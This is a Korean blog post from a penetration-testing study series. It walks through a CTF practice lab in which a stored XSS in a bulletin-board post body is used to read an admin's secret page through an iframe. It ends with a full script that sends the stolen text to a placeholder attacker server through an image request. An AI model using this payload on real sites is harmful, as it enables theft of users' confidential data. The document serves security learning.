Client Script를 이용한 XSS 실습 (2)

gyub·2025년 6월 23일
0

모의해킹 스터디

목록 보기
29/31

1️⃣ XSS 취약점 찾기

문제를 확인해보겠습니다

중요한 정보는 마이페이지에 있지만, XSS 취약점이 다른 곳에 있을 것 같네요

iframe 을 이용해 중요 정보를 탈취해야 할 것 같습니다

우선 XSS 취약점 위치를 찾아보겠습니다

마이페이지가 아닌 다른 페이지에 XSS 취약점이 있을 가능성이 크니, 게시판을 확인해보겠습니다

취약점 확인과 동시에 XSS 특수문자 사용 가능 여부를 확인하기 위해, 제목과 내용에 <'"> 를 포함시켰습니다

제목은 <> 가 HTML Entity로 변환되지만, 글에서는 모두 사용 가능한 것을 확인하였습니다

즉, 게시글 본문에 XSS 취약점이 존재합니다

2️⃣ 스크립트 삽입

우선 iframe을 넣어야 합니다

<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/secret.php" id="targetFrame"></iframe>

관리자의 중요한 정보가 있는 페이지를 삽입해줍니다

그리고 문제에 주어진 관리자와 똑같은 페이지 링크를 이용해 iframe 에 삽입된 페이지 내에 우리가 탈취해야 할 정보의 위치를 확인합니다

표시한 위치가 실제 관리자 페이지에서는 중요 정보가 있는 곳입니다

그렇다면 해당 요소를 선택하기 위해서는 아래와 같은 접근이 필요합니다

document.getElementsByClassName('card-text')[1].innerHTML;

그런데 이 마이페이지는 iframe 을 통해서 삽입된 페이지이니, 이 삽입된 페이지의 document 객체를 가져올 수 있어야 합니다

iframe 요소의 id 값을 targetFrame 로 설정했으니, 이 iframe 요소에 담긴 페이지의 document 객체를 가져오는 방법은 아래와 같습니다

var target = document.getElementById('targetFrame');
var domData = target.contentDocument;

이제 domData 안에 iframe 내 페이지의 document 객체가 담겼습니다

그렇다면 우리가 게시글에 저장해야 할 스크립트는 아래와 같습니다

<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/secret.php" id="targetFrame"></iframe>
<script>
  var target = document.getElementById('targetFrame');
  var domData = target.contentDocument;
  var data = domData.getElementsByClassName('card-text')[1].innerHTML;
  var i = new Image();
  i.src="공격자서버주소/?data="+data;
</script>

스크립트가 저장된 게시글의 링크에 관리자가 접속하면, 공격자의 서버로 중요 정보가 넘어가게 됩니다

0개의 댓글